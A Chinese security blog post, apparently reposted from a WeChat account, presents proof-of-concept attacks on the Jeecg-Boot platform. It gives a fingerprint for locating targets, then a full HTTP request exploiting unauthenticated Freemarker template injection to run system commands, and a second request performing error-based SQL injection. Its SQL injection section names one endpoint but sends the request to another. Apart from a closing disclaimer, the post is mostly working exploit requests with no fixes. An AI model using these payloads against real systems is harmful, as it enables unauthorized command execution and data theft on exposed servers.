Jeecg-Boot 命令执行与sql注入漏洞

admin 2024年5月18日16:10:00评论155 views字数 1696阅读5分39秒阅读模式
JEECG(J2EE Code Generation)是一款基于代码生成器的快速开发平台,使用JEECG可以简单快速地开发出企业级的Web应用系统。

指纹:body="jeecg-boot"

Jeecg-Boot 命令执行与sql注入漏洞

一、命令执行

由于 queryFieldBySql Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

POC:

POST /x/jeecg-boot/jmreport/queryFieldBySql HTTP/1.1Host: xxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/jsonContent-Length: 105{"sql":"select 'result:<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("whoami ") }'" }

验证:

Jeecg-Boot 命令执行与sql注入漏洞

二、sql注入

jeecg-boot 3.5.0版本存在SQL注入漏洞,该漏洞源于文件 jmreport/qurestSql 存在安全问题, 通过参数 apiSelectId 导致SQL注入。

POC:

/jeecg-boot/jmreport/qurestSql
POST /x/jeecg-boot/jmreport/queryFieldBySql HTTP/1.1Host: XXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/jsonContent-Length: 126{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}

验证:

Jeecg-Boot 命令执行与sql注入漏洞

Jeecg-Boot 命令执行与sql注入漏洞

小知识

依据《刑法》第285条第3款的规定,犯提供非法侵入或者控制计算机信息系罪的,处3年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处3年以上7年以下有期徒刑,并处罚金。
Jeecg-Boot 命令执行与sql注入漏洞

声明

原文始发于微信公众号(丁永博的成长日记):Jeecg-Boot 命令执行与sql注入漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日16:10:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jeecg-Boot 命令执行与sql注入漏洞https://cn-sec.com/archives/2040909.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息